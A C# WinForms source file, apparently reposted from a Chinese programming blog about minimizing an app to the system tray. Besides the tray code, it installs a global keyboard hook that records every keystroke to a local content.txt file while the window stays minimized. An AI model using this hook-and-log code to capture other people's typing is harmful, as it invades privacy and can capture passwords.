using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.IO;
namespace listen
{
public partial class Form1 : Form
{
KeyboardHook k_hook;
#region//创建对象及声明变量
//创建NotifyIcon对象
NotifyIcon notifyicon = new NotifyIcon();
//创建托盘图标对象
Icon ico = new Icon("favicon.ico");
//创建托盘菜单对象
ContextMenu notifyContextMenu = new ContextMenu();
#endregion
public Form1()
{
InitializeComponent();
k_hook = new KeyboardHook();
//k_hook.KeyDownEvent += new System.Windows.Forms.KeyEventHandler(hook_KeyDown);//钩住键按下
k_hook.KeyPressEvent += K_hook_KeyPressEvent;
k_hook.Start();//安装键盘钩子
this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
}
private void K_hook_KeyPressEvent(object sender, KeyPressEventArgs e)
{
//tb1.Text += e.KeyChar;
int i = (int)e.KeyChar;
string str = "键: " + e.KeyChar + Environment.NewLine;
m_comm_MessageEvent(str);
writeToFile("键: " + e.KeyChar);
}
private void hook_KeyDown(object sender, KeyEventArgs e)
{
string str = "键: " + (char)e.KeyData + Environment.NewLine;
m_comm_MessageEvent(str);
writeToFile("键: " + (char)e.KeyData);
//判断按下的键(Alt + A)
//if (e.KeyValue == (int)Keys.A && (int)System.Windows.Forms.Control.ModifierKeys == (int)Keys.Alt)
//{
// System.Windows.Forms.MessageBox.Show("ddd");
//}
}
private delegate void InvokeCallback(string msg);
private void m_comm_MessageEvent(string msg)
{
if (this.richTextBox1.InvokeRequired)
{
InvokeCallback msgCallback = new InvokeCallback(m_comm_MessageEvent);
richTextBox1.Invoke(msgCallback, new object[] { msg });
}
else
{
richTextBox1.Text = richTextBox1.Text.Insert(0, msg);
}
}
private void writeToFile(string str)
{
if (!string.IsNullOrEmpty(str))
{
using (StreamWriter w = File.AppendText(System.Windows.Forms.Application.StartupPath + @"\content.txt"))
{
w.WriteLine(str + "\r\n");
w.Flush(); //清除此流的缓冲区,内容写入文本
w.Close();
w.Dispose();
}
}
}
private void Form1_FormClosed(object sender, FormClosedEventArgs e)
{
k_hook.Stop();
}
/// <summary>
/// 方法作用:隐藏任务栏图标,显示托盘图标
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private void Form1_SizeChanged(object sender, EventArgs e)
{
//判断是否选择的是最小化按钮
if (WindowState == FormWindowState.Minimized)
{
//托盘显示图标等于托盘图标对象
//注意notifyIcon1是控件的名字而不是对象的名字
notifyIcon1.Icon = ico;
//隐藏任务栏区图标
this.ShowInTaskbar = false;
//图标显示在托盘区
notifyicon.Visible = true;
}
}
private void Form1_Load(object sender, EventArgs e)
{
this.notifyIcon1.Text = "托盘图标";
}
/// <summary>
/// 方法作用:还原窗体
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private void notifyIcon1_Click(object sender, EventArgs e)
{
//判断是否已经最小化于托盘
if (WindowState == FormWindowState.Minimized)
{
//还原窗体显示
WindowState = FormWindowState.Normal;
//激活窗体并给予它焦点
this.Activate();
//任务栏区显示图标
this.ShowInTaskbar = true;
//托盘区图标隐藏
notifyicon.Visible = false;
}
}
}
}
c# 程序最小化托盘及还原
原文作者:madianding
原文地址: https://blog.csdn.net/madianding/article/details/123814543
本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
原文地址: https://blog.csdn.net/madianding/article/details/123814543
本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。